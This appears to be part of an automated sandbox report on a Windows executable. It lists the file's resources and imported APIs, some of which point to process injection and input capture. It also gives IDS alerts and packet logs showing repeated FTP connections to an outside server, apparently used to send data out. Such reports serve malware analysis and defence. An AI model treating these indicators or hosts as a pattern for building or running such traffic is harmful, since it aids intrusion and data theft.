RT_STRING	0xffc4c	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0x1001e0	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0x10086c	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0x100cfc	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0x1012f8	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0x101954	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0x101dbc	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0x101f14	0x3d07a	data			1.0003440302746642
RT_GROUP_ICON	0x13ef90	0x102	data	English	Great Britain	0.6124031007751938
RT_GROUP_ICON	0x13f094	0x14	data	English	Great Britain	1.15
RT_VERSION	0x13f0a8	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x13f184	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T03:18:17.008684+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49735	TCP
2024-11-04T03:18:55.870238+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49741	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 03:17:59.590415001 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:17:59.590465069 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:17:59.590536118 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:17:59.600394011 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:17:59.600409031 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.218480110 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.218560934 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:00.221484900 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:00.221497059 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.221735001 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.270925045 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:00.275300980 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:00.319331884 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.450722933 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.450794935 CET	443	49730	104.26.13.205	192.168.2.4
Nov 4, 2024 03:18:00.451191902 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:00.456974030 CET	49730	443	192.168.2.4	104.26.13.205
Nov 4, 2024 03:18:01.219566107 CET	49731	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:01.224417925 CET	21	49731	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:01.225784063 CET	49731	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:01.238814116 CET	49731	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:01.243715048 CET	21	49731	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:01.245759010 CET	49731	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:01.265425920 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:01.270376921 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:01.271125078 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:02.203669071 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:02.203891993 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:02.208758116 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:02.557557106 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:02.557878971 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:02.562772036 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:02.939085007 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:02.939245939 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:02.944056034 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:03.337795019 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:03.337917089 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:03.342701912 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:03.722757101 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:03.723078012 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:03.727946997 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:04.080812931 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:04.081072092 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:04.085957050 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:04.431231976 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:04.431898117 CET	49733	56534	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:04.436726093 CET	56534	49733	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:04.436903000 CET	49733	56534	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:04.436899900 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:04.441756964 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.361030102 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.361517906 CET	49733	56534	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:05.361588001 CET	49733	56534	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:05.366384029 CET	56534	49733	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.366410017 CET	56534	49733	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.366420031 CET	56534	49733	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.366818905 CET	56534	49733	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.366980076 CET	49733	56534	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:05.427207947 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:05.717036009 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:05.722774982 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:05.727632046 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:06.079663992 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:06.080065966 CET	49734	54557	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:06.084855080 CET	54557	49734	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:06.084940910 CET	49734	54557	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:06.084985018 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:06.089752913 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:07.020698071 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:07.021089077 CET	49734	54557	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:07.026185989 CET	54557	49734	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:07.026256084 CET	49734	54557	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:07.067847013 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:07.376019001 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:07.442553043 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:18:07.871440887 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:18:07.871495008 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.010993958 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.016339064 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:31.067171097 CET	49914	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.072194099 CET	21	49914	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:31.072283983 CET	49914	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.072530031 CET	49914	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.077394009 CET	21	49914	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:31.077442884 CET	49914	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.363089085 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:31.363599062 CET	49917	63754	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.368506908 CET	63754	49917	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:31.368586063 CET	49917	63754	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.368664026 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:31.373449087 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:32.292582989 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:32.292782068 CET	49917	63754	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:32.292802095 CET	49917	63754	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:32.297655106 CET	63754	49917	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:32.298115969 CET	63754	49917	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:32.298175097 CET	49917	63754	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:32.333693981 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:32.649429083 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:32.693065882 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:50.325206995 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:50.330149889 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:50.676502943 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:50.684267998 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:50.689255953 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:50.692173004 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:50.692176104 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:50.696974993 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.607835054 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.608097076 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613193035 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613204002 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613250971 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613265038 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613298893 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613312960 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613322973 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613347054 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613363028 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613379955 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613389969 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613396883 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613406897 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613423109 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.613426924 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613441944 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.613457918 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618175030 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618184090 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618216038 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618242025 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618257999 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618267059 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618273973 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618294001 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618308067 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618329048 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618345022 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618386030 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618391991 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618433952 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.618439913 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.618474960 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623111010 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623234987 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623347044 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623414993 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623424053 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623490095 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623524904 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623573065 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623581886 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623625994 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623661995 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.623724937 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.624089003 CET	55832	50009	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:51.624135971 CET	50009	55832	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:51.661856890 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:19:52.381726027 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:19:52.427491903 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.104641914 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.109782934 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:05.276637077 CET	50010	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.281665087 CET	21	50010	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:05.281781912 CET	50010	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.282246113 CET	50010	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.287467957 CET	21	50010	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:05.287733078 CET	50010	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.454700947 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:05.456593037 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.461816072 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:05.461922884 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.462002039 CET	49732	21	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:05.466803074 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.400257111 CET	21	49732	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.400650978 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.405755997 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405766010 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405775070 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405785084 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405795097 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405824900 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.405859947 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.405881882 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405932903 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405939102 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.405941963 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405951023 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405961037 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.405966043 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.405985117 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.406002045 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.406027079 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.410795927 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410805941 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410814047 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410821915 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410830021 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410840034 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.410856009 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.410888910 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.410942078 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.411015987 CET	50011	53538	192.168.2.4	110.4.45.197
Nov 4, 2024 03:20:06.411019087 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.411073923 CET	53538	50011	110.4.45.197	192.168.2.4
Nov 4, 2024 03:20:06.415702105 CET	53538	50011	110.4.45.197	192.168.2.4
